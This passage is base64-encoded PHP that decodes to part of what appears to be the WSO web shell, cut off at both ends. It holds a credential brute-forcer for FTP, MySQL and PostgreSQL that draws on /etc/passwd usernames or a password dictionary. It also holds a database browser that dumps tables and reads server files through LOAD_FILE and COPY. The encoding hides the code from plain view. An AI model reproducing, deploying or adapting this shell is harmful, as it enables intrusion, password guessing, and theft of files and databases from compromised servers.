ICAgICAgICAgICAgICAgICAgICAgICAkc3VjY2VzcysrOyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxiPicuaHRtbHNwZWNpYWxjaGFycygkbGluZVswXSkuJzwvYj46Jy5odG1sc3BlY2lhbGNoYXJzKCR0bXApOyAKICAgICAgICAgICAgICAgICAgICAgICAgfSAKICAgICAgICAgICAgICAgICAgICB9IAogICAgICAgICAgICAgICAgfSAKICAgICAgICB9IGVsc2VpZigkX1BPU1RbJ3R5cGUnXSA9PSAyKSB7IAogICAgICAgICAgICAkdGVtcCA9IEBmaWxlKCRfUE9TVFsnZGljdCddKTsgCiAgICAgICAgICAgIGlmKCBpc19hcnJheSgkdGVtcCkgKSAKICAgICAgICAgICAgICAgIGZvcmVhY2goJHRlbXAgYXMgJGxpbmUpIHsgCiAgICAgICAgICAgICAgICAgICAgJGxpbmUgPSB0cmltKCRsaW5lKTsgCiAgICAgICAgICAgICAgICAgICAgKyskYXR0ZW1wdHM7IAogICAgICAgICAgICAgICAgICAgIGlmKCBicnV0ZUZvcmNlKCRzZXJ2ZXJbMF0sQCRzZXJ2ZXJbMV0sICRfUE9TVFsnbG9naW4nXSwgJGxpbmUpICkgeyAKICAgICAgICAgICAgICAgICAgICAgICAgJHN1Y2Nlc3MrKzsgCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxiPicuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ2xvZ2luJ10pLic8L2I+OicuaHRtbHNwZWNpYWxjaGFycygkbGluZSkuJzxicj4nOyAKICAgICAgICAgICAgICAgICAgICB9IAogICAgICAgICAgICAgICAgfSAKICAgICAgICB9IAogICAgICAgIGVjaG8gIjxzcGFuPkF0dGVtcHRzOjwvc3Bhbj4gJGF0dGVtcHRzIDxzcGFuPlN1Y2Nlc3M6PC9zcGFuPiAkc3VjY2VzczwvZGl2Pjxicj4iOyAKICAgIH0gCiAgICBlY2hvICc8aDE+RlRQIGJydXRlZm9yY2U8L2gxPjxkaXYgY2xhc3M9Y29udGVudD48dGFibGU+PGZvcm0gbWV0aG9kPXBvc3Q+PHRyPjx0ZD48c3Bhbj5UeXBlPC9zcGFuPjwvdGQ+JwogICAgICAgIC4nPHRkPjxzZWxlY3QgbmFtZT1wcm90bz48b3B0aW9uIHZhbHVlPWZ0cD5GVFA8L29wdGlvbj48b3B0aW9uIHZhbHVlPW15c3FsPk15U3FsPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1wZ3NxbD5Qb3N0Z3JlU3FsPC9vcHRpb24+PC9zZWxlY3Q+PC90ZD48L3RyPjx0cj48dGQ+JwogICAgICAgIC4nPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkuJyI+JwogICAgICAgIC4nPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnYSddKS4nIj4nCiAgICAgICAgLic8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0IHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydjaGFyc2V0J10pLiciPicKICAgICAgICAuJzxzcGFuPlNlcnZlcjpwb3J0PC9zcGFuPjwvdGQ+JwogICAgICAgIC4nPHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zZXJ2ZXIgdmFsdWU9IjEyNy4wLjAuMSI+PC90ZD48L3RyPicKICAgICAgICAuJzx0cj48dGQ+PHNwYW4+QnJ1dGUgdHlwZTwvc3Bhbj48L3RkPicKICAgICAgICAuJzx0ZD48bGFiZWw+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSIxIiBjaGVja2VkPiAvZXRjL3Bhc3N3ZDwvbGFiZWw+PC90ZD48L3RyPicKICAgICAgICAuJzx0cj48dGQ+PC90ZD48dGQ+PGxhYmVsIHN0eWxlPSJwYWRkaW5nLWxlZnQ6MTVweCI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1yZXZlcnNlIHZhbHVlPTEgY2hlY2tlZD4gcmV2ZXJzZSAobG9naW4gLT4gbmlnb2wpPC9sYWJlbD48L3RkPjwvdHI+JwogICAgICAgIC4nPHRyPjx0ZD48L3RkPjx0ZD48bGFiZWw+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSIyIj4gRGljdGlvbmFyeTwvbGFiZWw+PC90ZD48L3RyPicKICAgICAgICAuJzx0cj48dGQ+PC90ZD48dGQ+PHRhYmxlIHN0eWxlPSJwYWRkaW5nLWxlZnQ6MTVweCI+PHRyPjx0ZD48c3Bhbj5Mb2dpbjwvc3Bhbj48L3RkPicKICAgICAgICAuJzx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9bG9naW4gdmFsdWU9InJvb3QiPjwvdGQ+PC90cj4nCiAgICAgICAgLic8dHI+PHRkPjxzcGFuPkRpY3Rpb25hcnk8L3NwYW4+PC90ZD4nCiAgICAgICAgLic8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWRpY3QgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pLidwYXNzd2QuZGljIj48L3RkPjwvdHI+PC90YWJsZT4nCiAgICAgICAgLic8L3RkPjwvdHI+PHRyPjx0ZD48L3RkPjx0ZD48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L3RkPjwvdHI+PC9mb3JtPjwvdGFibGU+JzsgCiAgICBlY2hvICc8L2Rpdj48YnI+JzsgCiAgICB3c29Gb290ZXIoKTsgCn0gCiAgCmZ1bmN0aW9uIGFjdGlvblNxbCgpIHsgCiAgICBjbGFzcyBEYkNsYXNzIHsgCiAgICAgICAgdmFyICR0eXBlOyAKICAgICAgICB2YXIgJGxpbms7IAogICAgICAgIHZhciAkcmVzOyAKICAgICAgICBmdW5jdGlvbiBEYkNsYXNzKCR0eXBlKSB7IAogICAgICAgICAgICAkdGhpcy0+dHlwZSA9ICR0eXBlOyAKICAgICAgICB9IAogICAgICAgIGZ1bmN0aW9uIGNvbm5lY3QoJGhvc3QsICR1c2VyLCAkcGFzcywgJGRibmFtZSl7IAogICAgICAgICAgICBzd2l0Y2goJHRoaXMtPnR5cGUpICB7IAogICAgICAgICAgICAgICAgY2FzZSAnbXlzcWwnOiAKICAgICAgICAgICAgICAgICAgICBpZiggJHRoaXMtPmxpbmsgPSBAbXlzcWxfY29ubmVjdCgkaG9zdCwkdXNlciwkcGFzcyx0cnVlKSApIHJldHVybiB0cnVlOyAKICAgICAgICAgICAgICAgICAgICBicmVhazsgCiAgICAgICAgICAgICAgICBjYXNlICdwZ3NxbCc6IAogICAgICAgICAgICAgICAgICAgICRob3N0ID0gZXhwbG9kZSgnOicsICRob3N0KTsgCiAgICAgICAgICAgICAgICAgICAgaWYoISRob3N0WzFdKSAkaG9zdFsxXT01NDMyOyAKICAgICAgICAgICAgICAgICAgICBpZiggJHRoaXMtPmxpbmsgPSBAcGdfY29ubmVjdCgiaG9zdD17JGhvc3RbMF19IHBvcnQ9eyRob3N0WzFdfSB1c2VyPSR1c2VyIHBhc3N3b3JkPSRwYXNzIGRibmFtZT0kZGJuYW1lIikgKSByZXR1cm4gdHJ1ZTsgCiAgICAgICAgICAgICAgICAgICAgYnJlYWs7IAogICAgICAgICAgICB9IAogICAgICAgICAgICByZXR1cm4gZmFsc2U7IAogICAgICAgIH0gCiAgICAgICAgZnVuY3Rpb24gc2VsZWN0ZGIoJGRiKSB7IAogICAgICAgICAgICBzd2l0Y2goJHRoaXMtPnR5cGUpICB7IAogICAgICAgICAgICAgICAgY2FzZSAnbXlzcWwnOiAKICAgICAgICAgICAgICAgICAgICBpZiAoQG15c3FsX3NlbGVjdF9kYigkZGIpKXJldHVybiB0cnVlOyAKICAgICAgICAgICAgICAgICAgICBicmVhazsgCiAgICAgICAgICAgIH0gCiAgICAgICAgICAgIHJldHVybiBmYWxzZTsgCiAgICAgICAgfSAKICAgICAgICBmdW5jdGlvbiBxdWVyeSgkc3RyKSB7IAogICAgICAgICAgICBzd2l0Y2goJHRoaXMtPnR5cGUpIHsgCiAgICAgICAgICAgICAgICBjYXNlICdteXNxbCc6IAogICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+cmVzID0gQG15c3FsX3F1ZXJ5KCRzdHIpOyAKICAgICAgICAgICAgICAgICAgICBicmVhazsgCiAgICAgICAgICAgICAgICBjYXNlICdwZ3NxbCc6IAogICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+cmVzID0gQHBnX3F1ZXJ5KCR0aGlzLT5saW5rLCRzdHIpOyAKICAgICAgICAgICAgICAgICAgICBicmVhazsgCiAgICAgICAgICAgIH0gCiAgICAgICAgICAgIHJldHVybiBmYWxzZTsgCiAgICAgICAgfSAKICAgICAgICBmdW5jdGlvbiBmZXRjaCgpIHsgCiAgICAgICAgICAgICRyZXMgPSBmdW5jX251bV9hcmdzKCk/ZnVuY19nZXRfYXJnKDApOiR0aGlzLT5yZXM7IAogICAgICAgICAgICBzd2l0Y2goJHRoaXMtPnR5cGUpICB7IAogICAgICAgICAgICAgICAgY2FzZSAnbXlzcWwnOiAKICAgICAgICAgICAgICAgICAgICByZXR1cm4gQG15c3FsX2ZldGNoX2Fzc29jKCRyZXMpOyAKICAgICAgICAgICAgICAgICAgICBicmVhazsgCiAgICAgICAgICAgICAgICBjYXNlICdwZ3NxbCc6IAogICAgICAgICAgICAgICAgICAgIHJldHVybiBAcGdfZmV0Y2hfYXNzb2MoJHJlcyk7IAogICAgICAgICAgICAgICAgICAgIGJyZWFrOyAKICAgICAgICAgICAgfSAKICAgICAgICAgICAgcmV0dXJuIGZhbHNlOyAKICAgICAgICB9IAogICAgICAgIGZ1bmN0aW9uIGxpc3REYnMoKSB7IAogICAgICAgICAgICBzd2l0Y2goJHRoaXMtPnR5cGUpICB7IAogICAgICAgICAgICAgICAgY2FzZSAnbXlzcWwnOiAKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5xdWVyeSgiU0hPVyBkYXRhYmFzZXMiKTsgCiAgICAgICAgICAgICAgICBicmVhazsgCiAgICAgICAgICAgICAgICBjYXNlICdwZ3NxbCc6IAogICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+cmVzID0gJHRoaXMtPnF1ZXJ5KCJTRUxFQ1QgZGF0bmFtZSBGUk9NIHBnX2RhdGFiYXNlIFdIRVJFIGRhdGlzdGVtcGxhdGUhPSd0JyIpOyAKICAgICAgICAgICAgICAgIGJyZWFrOyAKICAgICAgICAgICAgfSAKICAgICAgICAgICAgcmV0dXJuIGZhbHNlOyAKICAgICAgICB9IAogICAgICAgIGZ1bmN0aW9uIGxpc3RUYWJsZXMoKSB7IAogICAgICAgICAgICBzd2l0Y2goJHRoaXMtPnR5cGUpICB7IAogICAgICAgICAgICAgICAgY2FzZSAnbXlzcWwnOiAKICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPnJlcyA9ICR0aGlzLT5xdWVyeSgnU0hPVyBUQUJMRVMnKTsgCiAgICAgICAgICAgICAgICBicmVhazsgCiAgICAgICAgICAgICAgICBjYXNlICdwZ3NxbCc6IAogICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+cmVzID0gJHRoaXMtPnF1ZXJ5KCJzZWxlY3QgdGFibGVfbmFtZSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgd2hlcmUgdGFibGVfc2NoZW1hICE9ICdpbmZvcm1hdGlvbl9zY2hlbWEnIEFORCB0YWJsZV9zY2hlbWEgIT0gJ3BnX2NhdGFsb2cnIik7IAogICAgICAgICAgICAgICAgYnJlYWs7IAogICAgICAgICAgICB9IAogICAgICAgICAgICByZXR1cm4gZmFsc2U7IAogICAgICAgIH0gCiAgICAgICAgZnVuY3Rpb24gZXJyb3IoKSB7IAogICAgICAgICAgICBzd2l0Y2goJHRoaXMtPnR5cGUpICB7IAogICAgICAgICAgICAgICAgY2FzZSAnbXlzcWwnOiAKICAgICAgICAgICAgICAgICAgICByZXR1cm4gQG15c3FsX2Vycm9yKCk7IAogICAgICAgICAgICAgICAgYnJlYWs7IAogICAgICAgICAgICAgICAgY2FzZSAncGdzcWwnOiAKICAgICAgICAgICAgICAgICAgICByZXR1cm4gQHBnX2xhc3RfZXJyb3IoKTsgCiAgICAgICAgICAgICAgICBicmVhazsgCiAgICAgICAgICAgIH0gCiAgICAgICAgICAgIHJldHVybiBmYWxzZTsgCiAgICAgICAgfSAKICAgICAgICBmdW5jdGlvbiBzZXRDaGFyc2V0KCRzdHIpIHsgCiAgICAgICAgICAgIHN3aXRjaCgkdGhpcy0+dHlwZSkgIHsgCiAgICAgICAgICAgICAgICBjYXNlICdteXNxbCc6IAogICAgICAgICAgICAgICAgICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfc2V0X2NoYXJzZXQnKSkgCiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBAbXlzcWxfc2V0X2NoYXJzZXQoJHN0ciwgJHRoaXMtPmxpbmspOyAKICAgICAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5xdWVyeSgnU0VUIENIQVJTRVQgJy4kc3RyKTsgCiAgICAgICAgICAgICAgICAgICAgYnJlYWs7IAogICAgICAgICAgICAgICAgY2FzZSAncGdzcWwnOiAKICAgICAgICAgICAgICAgICAgICByZXR1cm4gQHBnX3NldF9jbGllbnRfZW5jb2RpbmcoJHRoaXMtPmxpbmssICRzdHIpOyAKICAgICAgICAgICAgICAgICAgICBicmVhazsgCiAgICAgICAgICAgIH0gCiAgICAgICAgICAgIHJldHVybiBmYWxzZTsgCiAgICAgICAgfSAKICAgICAgICBmdW5jdGlvbiBsb2FkRmlsZSgkc3RyKSB7IAogICAgICAgICAgICBzd2l0Y2goJHRoaXMtPnR5cGUpICB7IAogICAgICAgICAgICAgICAgY2FzZSAnbXlzcWwnOiAKICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPmZldGNoKCR0aGlzLT5xdWVyeSgiU0VMRUNUIExPQURfRklMRSgnIi5hZGRzbGFzaGVzKCRzdHIpLiInKSBhcyBmaWxlIikpOyAKICAgICAgICAgICAgICAgIGJyZWFrOyAKICAgICAgICAgICAgICAgIGNhc2UgJ3Bnc3FsJzogCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnF1ZXJ5KCJDUkVBVEUgVEFCTEUgd3NvMihmaWxlIHRleHQpO0NPUFkgd3NvMiBGUk9NICciLmFkZHNsYXNoZXMoJHN0cikuIic7c2VsZWN0IGZpbGUgZnJvbSB3c28yOyIpOyAKICAgICAgICAgICAgICAgICAgICAkcj1hcnJheSgpOyAKICAgICAgICAgICAgICAgICAgICB3aGlsZSgkaT0kdGhpcy0+ZmV0Y2goKSkgCiAgICAgICAgICAgICAgICAgICAgICAgICRyW10gPSAkaVsnZmlsZSddOyAKICAgICAgICAgICAgICAgICAgICAkdGhpcy0+cXVlcnkoJ2Ryb3AgdGFibGUgd3NvMicpOyAKICAgICAgICAgICAgICAgICAgICByZXR1cm4gYXJyYXkoJ2ZpbGUnPT5pbXBsb2RlKCJcbiIsJHIpKTsgCiAgICAgICAgICAgICAgICBicmVhazsgCiAgICAgICAgICAgIH0gCiAgICAgICAgICAgIHJldHVybiBmYWxzZTsgCiAgICAgICAgfSAKICAgICAgICBmdW5jdGlvbiBkdW1wKCR0YWJsZSwgJGZwID0gZmFsc2UpIHsgCiAgICAgICAgICAgIHN3aXRjaCgkdGhpcy0+dHlwZSkgIHsgCiAgICAgICAgICAgICAgICBjYXNlICdteXNxbCc6IAogICAgICAgICAgICAgICAgICAgICRyZXMgPSAkdGhpcy0+cXVlcnkoJ1NIT1cgQ1JFQVRFIFRBQkxFIGAnLiR0YWJsZS4nYCcpOyAKICAgICAgICAgICAgICAgICAgICAkY3JlYXRlID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlcyk7IAogICAgICAgICAgICAgICAgICAgICRzcWwgPSAkY3JlYXRlWzFdLiI7XG4iOyAKICAgICAgICAgICAgICAgICAgICBpZigkZnApIGZ3cml0ZSgkZnAsICRzcWwpOyBlbHNlIGVjaG8oJHNxbCk7IAogICAgICAgICAgICAgICAgICAgICR0aGlzLT5xdWVyeSgnU0VMRUNUICogRlJPTSBgJy4kdGFibGUuJ2AnKTsgCiAgICAgICAgICAgICAgICAgICAgJGhlYWQgPSB0cnVlOyAKICAgICAgICAgICAgICAgICAgICB3aGlsZSgkaXRlbSA9ICR0aGlzLT5mZXRjaCgpKSB7IAogICAgICAgICAgICAgICAgICAgICAgICAkY29sdW1ucyA9IGFycmF5KCk7IAogICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRpdGVtIGFzICRrPT4kdikgeyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCR2ID09IG51bGwpIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpdGVtWyRrXSA9ICJOVUxMIjsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoaXNfbnVtZXJpYygkdikpIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpdGVtWyRrXSA9ICR2OyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaXRlbVska10gPSAiJyIuQG15c3FsX3JlYWxfZXNjYXBlX3N0cmluZygkdikuIiciOyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjb2x1bW5zW10gPSAiYCIuJGsuImAiOyAKICAgICAgICAgICAgICAgICAgICAgICAgfSAKICAgICAgICAgICAgICAgICAgICAgICAgaWYoJGhlYWQpIHsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3FsID0gJ0lOU0VSVCBJTlRPIGAnLiR0YWJsZS4nYCAoJy5pbXBsb2RlKCIsICIsICRjb2x1bW5zKS4iKSBWQUxVRVMgXG5cdCgiLmltcGxvZGUoIiwgIiwgJGl0ZW0pLicpJzsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaGVhZCA9IGZhbHNlOyAKICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3FsID0gIlxuXHQsKCIuaW1wbG9kZSgiLCAiLCAkaXRlbSkuJyknOyAKICAgICAgICAgICAgICAgICAgICAgICAgaWYoJGZwKSBmd3JpdGUoJGZwLCAkc3FsKTsgZWxzZSBlY2hvKCRzcWwpOyAKICAgICAgICAgICAgICAgICAgICB9IAogICAgICAgICAgICAgICAgICAgIGlmKCEkaGVhZCkgCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRmcCkgZndyaXRlKCRmcCwgIjtcblxuIik7IGVsc2UgZWNobygiO1xuXG4iKTsgCiAgICAgICAgICAgICAgICBicmVhazsgCiAgICAgICAgICAgICAgICBjYXNlICdwZ3NxbCc6IAogICAgICAgICAgICAgICAgICAgICR0aGlzLT5xdWVyeSgnU0VMRUNUICogRlJPTSAnLiR0YWJsZSk7IAogICAgICAgICAgICAgICAgICAgIHdoaWxlKCRpdGVtID0gJHRoaXMtPmZldGNoKCkpIHsgCiAgICAgICAgICAgICAgICAgICAgICAgICRjb2x1bW5zID0gYXJyYXkoKTsgCiAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJGl0ZW0gYXMgJGs9PiR2KSB7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGl0ZW1bJGtdID0gIiciLmFkZHNsYXNoZXMoJHYpLiInIjsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY29sdW1uc1tdID0gJGs7IAogICAgICAgICAgICAgICAgICAgICAgICB9IAogICAgICAgICAgICAgICAgICAgICAgICAkc3FsID0gJ0lOU0VSVCBJTlRPICcuJHRhYmxlLicgKCcuaW1wbG9kZSgiLCAiLCAkY29sdW1ucykuJykgVkFMVUVTICgnLmltcGxvZGUoIiwgIiwgJGl0ZW0pLicpOycuIlxuIjsgCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRmcCkgZndyaXRlKCRmcCwgJHNxbCk7IGVsc2UgZWNobygkc3FsKTsgCiAgICAgICAgICAgICAgICAgICAgfSAKICAgICAgICAgICAgICAgIGJyZWFrOyAKICAgICAgICAgICAgfSAKICAgICAgICAgICAgcmV0dXJuIGZhbHNlOyAKICAgICAgICB9IAogICAgfTsgCiAgICAkZGIgPSBuZXcgRGJDbGFzcygkX1BPU1RbJ3R5cGUnXSk7IAogICAgaWYoQCRfUE9TVFsncDInXT09J2Rvd25sb2FkJykgeyAKICAgICAgICAkZGItPmNvbm5lY3QoJF9QT1NUWydzcWxfaG9zdCddLCAkX1BPU1RbJ3NxbF9sb2dpbiddLCAkX1BPU1RbJ3NxbF9wYXNzJ10sICRfUE9TVFsnc3FsX2Jhc2UnXSk7IAogICAgICAgICRkYi0+c2VsZWN0ZGIoJF9QT1NUWydzcWxfYmFzZSddKTsgCiAgICAgICAgc3dpdGNoKCRfUE9TVFsnY2hhcnNldCddKSB7IAogICAgICAgICAgICBjYXNlICJXaW5kb3dzLTEyNTEiOiAkZGItPnNldENoYXJzZXQoJ2NwMTI1MScpOyBicmVhazsgCiAgICAgICAgICAgIGNhc2UgIlVURi04IjogJGRiLT5zZXRDaGFyc2V0KCd1dGY4Jyk7IGJyZWFrOyAKICAgICAgICAgICAgY2FzZSAiS09JOC1SIjogJGRiLT5zZXRDaGFyc2V0KCdrb2k4cicpOyBicmVhazsgCiAgICAgICAgICAgIGNhc2UgIktPSTgtVSI6ICRkYi0+c2V0Q2hhcnNldCgna29pOHUnKTsgYnJlYWs7IAogICAgICAgICAgICBjYXNlICJjcDg2NiI6ICRkYi0+c2V0Q2hhcnNldCgnY3A4NjYnKTsgYnJlYWs7IAogICAgICAgIH0gCiAgICAgICAgaWYoZW1wdHkoJF9QT1NUWydmaWxlJ10pKSB7IAogICAgICAgICAgICBvYl9zdGFydCgib2JfZ3poYW5kbGVyIiwgNDA5Nik7IAogICAgICAgICAgICBoZWFkZXIoIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPWR1bXAuc3FsIik7IAogICAgICAgICAgICBoZWFkZXIoIkNvbnRlbnQtVHlwZTogdGV4dC9wbGFpbiIpOyAKICAgICAgICAgICAgZm9yZWFjaCgkX1BPU1RbJ3RibCddIGFzICR2KSAKICAgICAgICAgICAgICAgICRkYi0+ZHVtcCgkdik7IAogICAgICAgICAgICBleGl0OyAKICAgICAgICB9IGVsc2VpZigkZnAgPSBAZm9wZW4oJF9QT1NUWydmaWxlJ10sICd3JykpIHsgCiAgICAgICAgICAgIGZvcmVhY2goJF9QT1NUWyd0YmwnXSBhcyAkdikgCiAgICAgICAgICAgICAgICAkZGItPmR1bXAoJHYsICRmcCk7IAogICAgICAgICAgICBmY2xvc2UoJGZwKTsgCiAgICAgICAgICAgIHVuc2V0KCRfUE9TVFsncDInXSk7IAogICAgICAgIH0gZWxzZQogICAgICAgICAgICBkaWUoJzxzY3JpcHQ+YWxlcnQoIkVycm9yISBDYW5cJ3Qgb3BlbiBmaWxlIik7d2luZG93Lmhpc3RvcnkuYmFjaygtMSk8L3NjcmlwdD4nKTsgCiAgICB9IAogICAgd3NvSGVhZGVyKCk7IAogICAgZWNobyAiIAogIAo8aDE+U3FsIGJyb3dzZXI8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4gCjxmb3JtIG5hbWU9J3NmJyBtZXRob2Q9J3Bvc3QnIG9uc3VibWl0PSdmcyh0aGlzKTsnPjx0YWJsZSBjZWxscGFkZGluZz0nMicgY2VsbHNwYWNpbmc9JzAnPjx0cj4gCjx0ZD5UeXBlPC90ZD48dGQ+SG9zdDwvdGQ+PHRkPkxvZ2luPC90ZD48dGQ+UGFzc3dvcmQ8L3RkPjx0ZD5EYXRhYmFzZTwvdGQ+PHRkPjwvdGQ+PC90cj48dHI+IAo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPVNxbD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMSB2YWx1ZT0ncXVlcnknPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAyIHZhbHVlPScnPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWMgdmFsdWU9JyIuIGh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKSAuIic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldCB2YWx1ZT0nIi4gKGlzc2V0KCRfUE9TVFsnY2hhcnNldCddKT8kX1BPU1RbJ2NoYXJzZXQnXTonJykgLiInPiAKPHRkPjxzZWxlY3QgbmFtZT0ndHlwZSc+PG9wdGlvbiB2YWx1ZT0nbXlzcWwnICI7IAogICAgaWYoQCRfUE9TVFsndHlwZSddPT0nbXlzcWwnKWVjaG8gJ3NlbGVjdGVkJzsgCmVjaG8gIj5NeVNxbDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J3Bnc3FsJyAiOyAKaWYoQCRfUE9TVFsndHlwZSddPT0ncGdzcWwnKWVjaG8gJ3NlbGVjdGVkJzsgCmVjaG8gIj5Qb3N0Z3JlU3FsPC9vcHRpb24+PC9zZWxlY3Q+PC90ZD4gCjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9c3FsX2hvc3QgdmFsdWU9JyIuIChlbXB0eSgkX1BPU1RbJ3NxbF9ob3N0J10pPydsb2NhbGhvc3QnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzcWxfaG9zdCddKSkgLiInPjwvdGQ+IAo8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXNxbF9sb2dpbiB2YWx1ZT0nIi4gKGVtcHR5KCRfUE9TVFsnc3FsX2xvZ2luJ10pPydyb290JzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnc3FsX2xvZ2luJ10pKSAuIic+PC90ZD4gCjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9c3FsX3Bhc3MgdmFsdWU9JyIuIChlbXB0eSgkX1BPU1RbJ3NxbF9wYXNzJ10pPycnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzcWxfcGFzcyddKSkgLiInPjwvdGQ+PHRkPiI7IAogICAgJHRtcCA9ICI8aW5wdXQgdHlwZT10ZXh0IG5hbWU9c3FsX2Jhc2UgdmFsdWU9Jyc+IjsgCiAgICBpZihpc3NldCgkX1BPU1RbJ3NxbF9ob3N0J10pKXsgCiAgICAgICAgaWYoJGRiLT5jb25uZWN0KCRfUE9TVFsnc3FsX2hvc3QnXSwgJF9QT1NUWydzcWxfbG9naW4nXSwgJF9QT1NUWydzcWxfcGFzcyddLCAkX1BPU1RbJ3NxbF9iYXNlJ10pKSB7IAogICAgICAgICAgICBzd2l0Y2goJF9QT1NUWydjaGFyc2V0J10pIHsgCiAgICAgICAgICAgICAgICBjYXNlICJXaW5kb3dzLTEyNTEiOiAkZGItPnNldENoYXJzZXQoJ2NwMTI1MScpOyBicmVhazsgCiAgICAgICAgICAgICAgICBjYXNlICJVVEYtOCI6ICRkYi0+c2V0Q2hhcnNldCgndXRmOCcpOyBicmVhazsgCiAgICAgICAgICAgICAgICBjYXNlICJLT0k4LVIiOiAkZGItPnNldENoYXJzZXQoJ2tvaThyJyk7IGJyZWFrOyAKICAgICAgICAgICAgICAgIGNhc2UgIktPSTgtVSI6ICRkYi0+c2V0Q2hhcnNldCgna29pOHUnKTsgYnJlYWs7IAogICAgICAgICAgICAgICAgY2FzZSAiY3A4NjYiOiAkZGItPnNldENoYXJzZXQoJ2NwODY2Jyk7IGJyZWFrOyAKICAgICAgICAgICAgfSAKICAgICAgICAgICAgJGRiLT5saXN0RGJzKCk7IAogICAgICAgICAgICBlY2hvICI8c2VsZWN0IG5hbWU9c3FsX2Jhc2U+PG9wdGlvbiB2YWx1ZT0nJz48L29wdGlvbj4iOyAKICAgICAgICAgICAgd2hpbGUoJGl0ZW0gPSAkZGItPmZldGNoKCkpIHsgCiAgICAgICAgICAgICAgICBsaXN0KCRrZXksICR2YWx1ZSkgPSBlYWNoKCRpdGVtKTsgCiAgICAgICAgICAgICAgICBlY2hvICc8b3B0aW9uIHZhbHVlPSInLiR2YWx1ZS4nIiAnLigkdmFsdWU9PSRfUE9TVFsnc3FsX2Jhc2UnXT8nc2VsZWN0ZWQnOicnKS4nPicuJHZhbHVlLic8L29wdGlvbj4nOyAKICAgICAgICAgICAgfSAKICAgICAgICAgICAgZWNobyAnPC9zZWxlY3Q+JzsgCiAgICAgICAgfSAKICAgICAgICBlbHNlIGVjaG8gJHRtcDsgCiAgICB9ZWxzZQogICAgICAgIGVjaG8gJHRtcDsgCiAgICBlY2hvICI8L3RkPiAKICAKICAgICAgICAgICAgICAgIDx0ZD48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+JyBvbmNsaWNrPSdmcyhkLnNmKTsnPjwvdGQ+IAogICAgICAgICAgICAgICAgPHRkPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9c3FsX2NvdW50IHZhbHVlPSdvbiciIC4gKGVtcHR5KCRfUE9TVFsnc3FsX2NvdW50J10pPycnOicgY2hlY2tlZCcpIC4gIj4gY291bnQgdGhlIG51bWJlciBvZiByb3dzPC90